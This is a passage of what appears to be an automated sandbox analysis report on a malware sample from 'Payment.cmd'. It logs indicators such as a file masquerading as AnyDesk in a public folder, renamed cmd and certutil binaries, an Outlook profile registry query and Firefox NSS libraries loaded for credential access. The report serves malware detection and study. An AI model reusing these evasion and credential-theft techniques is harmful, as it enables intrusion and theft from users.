            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: winmm.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFSection loaded: amsi.dllJump to behavior
            Source: C:\Users\Public\Libraries\AnyDesk.PIFKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32Jump to behavior
            Source: Window RecorderWindow detected: More than 3 window changes detected
            Source: C:\Users\Public\Libraries\uhvutpdX.pifKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook
            Source: Payment.cmdStatic file information: File size 5948081 > 1048576
            Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb-- source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: AnyDesk.PIF, 0000000A.00000003.2215476747.000000007EF70000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2280183782.000000007F2C0000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: api-ms-win-core-handle-l1-1-0.pdb source: uhvutpdX.pif, 00000013.00000002.2432539535.0000000028514000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: z:\build\build\src\obj-firefox\security\nss3.pdb source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: ucrtbase.pdb source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: api-ms-win-core-file-l1-2-0.pdb source: uhvutpdX.pif, 00000013.00000002.2432539535.0000000028514000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: api-ms-win-core-debug-l1-1-0.pdb source: uhvutpdX.pif, 00000013.00000002.2432539535.0000000028514000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: api-ms-win-core-datetime-l1-1-0.pdb source: uhvutpdX.pif, 00000013.00000002.2432539535.0000000028514000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: api-ms-win-core-localization-l1-2-0.pdb source: uhvutpdX.pif, 00000013.00000002.2432539535.0000000028514000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: cmd.pdb source: alpha.exe, 00000004.00000000.2133193932.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000006.00000000.2138107242.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000008.00000000.2149004501.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000008.00000002.2156167820.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000B.00000002.2158920393.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000B.00000000.2157597191.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000C.00000000.2159593961.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000C.00000002.2161398197.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmp, esentutl.exe, 00000010.00000003.2233032576.0000000005080000.00000004.00001000.00020000.00000000.sdmp, alpha.pif, 0000001C.00000000.2395059942.0000000000571000.00000020.00000001.01000000.0000000D.sdmp, alpha.pif, 0000001D.00000002.2398639325.0000000000571000.00000020.00000001.01000000.0000000D.sdmp
            Source: Binary string: easinvoker.pdbGCTL source: AnyDesk.PIF, 0000000A.00000003.2236536934.0000000021880000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2250440235.0000000002ADE000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.2159028855.000000007FC90000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2247686470.0000000002326000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2275460552.0000000020961000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.2236536934.00000000218A8000.00000004.00000020.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2275460552.0000000020949000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: api-ms-win-core-heap-l1-1-0.pdb source: uhvutpdX.pif, 00000013.00000002.2432539535.0000000028514000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: vcruntime140.i386.pdb source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: vcruntime140.i386.pdbGCTL source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: z:\build\build\src\obj-firefox\mozglue\build\mozglue.pdb11 source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\legacydb\legacydb_nssdbm3\nssdbm3.pdb source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: msvcp140.i386.pdbGCTL source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: api-ms-win-core-errorhandling-l1-1-0.pdb source: uhvutpdX.pif, 00000013.00000002.2432539535.0000000028514000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: api-ms-win-core-file-l2-1-0.pdb source: uhvutpdX.pif, 00000013.00000002.2432539535.0000000028514000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: api-ms-win-core-console-l1-1-0.pdb source: uhvutpdX.pif, 00000013.00000002.2433190547.0000000028A70000.00000004.00001000.00020000.00000000.sdmp, uhvutpdX.pif, 00000013.00000002.2432539535.0000000028514000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: api-ms-win-core-file-l1-1-0.pdb source: uhvutpdX.pif, 00000013.00000002.2432539535.0000000028514000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: uhvutpdX.pif, 00000013.00000002.2432539535.0000000028514000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: easinvoker.pdb source: AnyDesk.PIF, AnyDesk.PIF, 0000000A.00000003.2215476747.000000007EF70000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2250440235.0000000002ADE000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000003.2159028855.000000007FC90000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2247686470.0000000002326000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2275460552.0000000020961000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2280183782.000000007F2C0000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2275460552.0000000020949000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: cmd.pdbUGP source: alpha.exe, 00000004.00000000.2133193932.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000004.00000002.2137593152.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000006.00000002.2147967698.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000006.00000000.2138107242.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000008.00000000.2149004501.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000008.00000002.2156167820.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000B.00000002.2158920393.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000B.00000000.2157597191.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000C.00000000.2159593961.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000C.00000002.2161398197.00007FF78CF72000.00000002.00000001.01000000.00000004.sdmp, esentutl.exe, 00000010.00000003.2233032576.0000000005080000.00000004.00001000.00020000.00000000.sdmp, alpha.pif, 0000001C.00000000.2395059942.0000000000571000.00000020.00000001.01000000.0000000D.sdmp, alpha.pif, 0000001D.00000002.2398639325.0000000000571000.00000020.00000001.01000000.0000000D.sdmp
            Source: Binary string: certutil.pdb source: kn.exe, 00000007.00000000.2138890380.00007FF6E3E9E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000007.00000002.2147096701.00007FF6E3E9E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000009.00000000.2149481923.00007FF6E3E9E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000009.00000002.2155391701.00007FF6E3E9E000.00000002.00000001.01000000.00000005.sdmp
            Source: Binary string: easinvoker.pdbH source: AnyDesk.PIF, 0000000A.00000003.2215476747.000000007EF70000.00000004.00001000.00020000.00000000.sdmp, AnyDesk.PIF, 0000000A.00000002.2280183782.000000007F2C0000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: z:\build\build\src\obj-firefox\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: msvcp140.i386.pdb source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: api-ms-win-core-interlocked-l1-1-0.pdb source: uhvutpdX.pif, 00000013.00000002.2432539535.0000000028514000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: ucrtbase.pdbUGP source: uhvutpdX.pif, 00000013.00000002.2432669429.0000000028620000.00000004.00001000.00020000.00000000.sdmp
            Source: Binary string: certutil.pdbGCTL source: kn.exe, 00000007.00000000.2138890380.00007FF6E3E9E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000007.00000002.2147096701.00007FF6E3E9E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000009.00000000.2149481923.00007FF6E3E9E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000009.00000002.2155391701.00007FF6E3E9E000.00000002.00000001.01000000.00000005.sdmp

            Data Obfuscation

            barindex
            Detected unpacking (changes PE section rights)
